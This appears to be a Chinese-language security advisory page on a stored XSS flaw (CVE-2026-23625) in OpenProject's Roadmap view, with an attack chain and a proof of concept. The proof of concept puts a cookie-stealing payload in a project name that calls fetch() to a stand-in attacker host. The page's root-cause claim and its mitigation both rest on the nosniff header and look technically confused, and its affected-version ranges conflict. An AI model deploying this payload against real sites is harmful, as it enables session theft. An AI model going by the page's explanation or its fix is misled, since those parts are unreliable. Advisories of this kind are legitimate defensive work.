IPBUF安全漏洞报告
English
CVE-2026-23625 CVSS 8.7 高危

CVE-2026-23625 OpenProject Roadmap存储型XSS漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-23625
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
8.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
OpenProject

相关标签

存储型XSSOpenProjectRoadmaphtml_safeCVE-2026-23625Web安全项目管理软件内容安全策略绕过

漏洞概述

OpenProject是一款开源的Web项目管理软件。OpenProject 16.3.0至16.6.4版本存在一处存储型跨站脚本(XSS)漏洞,存在于Roadmap视图中。该漏洞源于Roadmap视图在渲染版本的“相关工作包”列表时,link_to_work_package辅助函数会将package.project.to_s拼接到链接中,并使用.html_safe返回整个字符串。由于项目名称由用户控制,且在调用.html_safe之前没有进行任何转义处理,攻击者可以在子项目名称中注入任意HTML代码,这些代码将被原样注入到页面中执行。此漏洞的根源在于OpenProject 16.3.0版本重构时将X-Content-Type-Options: nosniff头从Rails标准内容安全策略中移除,导致原有的安全防护失效。攻击者可以利用此漏洞窃取用户会话、劫持用户账户或进行其他恶意操作。

技术细节

漏洞存在于OpenProject的Roadmap视图组件中。当版本包含来自不同项目(如子项目)的工作包时,系统会调用link_to_work_package辅助函数渲染相关链接。该函数执行package.project.to_s操作获取项目名称字符串,然后通过.html_safe方法标记为安全HTML后输出。问题在于:1) 项目名称由用户可控输入设置;2) 在调用.html_safe前缺少HTML转义处理;3) X-Content-Type-Options: nosniff头的缺失使得浏览器不会强制执行MIME类型嗅探,从而允许嵌入的脚本被执行。攻击者只需在子项目名称字段中插入恶意HTML/JavaScript代码,如<img src=x onerror=alert(document.cookie)>,当其他用户访问包含该子项目工作包的Roadmap页面时,恶意代码即会执行。

攻击链分析

STEP 1
Reconnaissance
攻击者注册OpenProject账户并创建或获取对子项目的管理权限
STEP 2
Payload Injection
攻击者在子项目名称字段中注入恶意HTML/JavaScript代码,如<img src=x onerror=alert(document.cookie)>
STEP 3
Work Package Creation
攻击者在父项目或任何可访问的项目中创建工作包,并将其关联到某个版本
STEP 4
Cross-Project Linking
攻击者将创建的工作包链接到包含XSS payload的子项目,使其在Roadmap视图中被渲染
STEP 5
Victim Trigger
当其他用户(受害者)访问Roadmap页面查看相关版本时,包含恶意代码的页面被加载
STEP 6
XSS Execution
由于缺少X-Content-Type-Options: nosniff头且项目名称未转义,浏览器执行注入的JavaScript代码,窃取用户Cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2026-23625 PoC - Stored XSS in OpenProject Roadmap --> <!-- Step 1: Create a subproject with XSS payload in name --> PUT /api/v3/projects { "name": "Test Project", "identifier": "test-project" } <!-- Step 2: Inject XSS payload into subproject name --> PATCH /api/v3/projects/test-project { "name": "<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>" } <!-- Step 3: Create work package in parent project --> POST /api/v3/work_packages { "subject": "Test Work Package", "project": {"href": "/api/v3/projects/parent-project-id"} } <!-- Step 4: Link work package to subproject to trigger XSS in Roadmap --> PATCH /api/v3/work_packages/{id} { "_links": { "version": {"href": "/api/v3/versions/{version-id}"} } } <!-- When victim views Roadmap page, XSS payload executes -->

影响范围

OpenProject >= 16.3.0 且 < 16.6.5
OpenProject >= 16.3.0 且 < 17.0.0

防御指南

临时缓解措施
对于无法立即升级的用户,建议在反向代理服务器(如Nginx、Apache)中添加X-Content-Type-Options: nosniff响应头配置,以缓解该漏洞的利用风险。同时限制用户对项目名称的编辑权限,直到完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表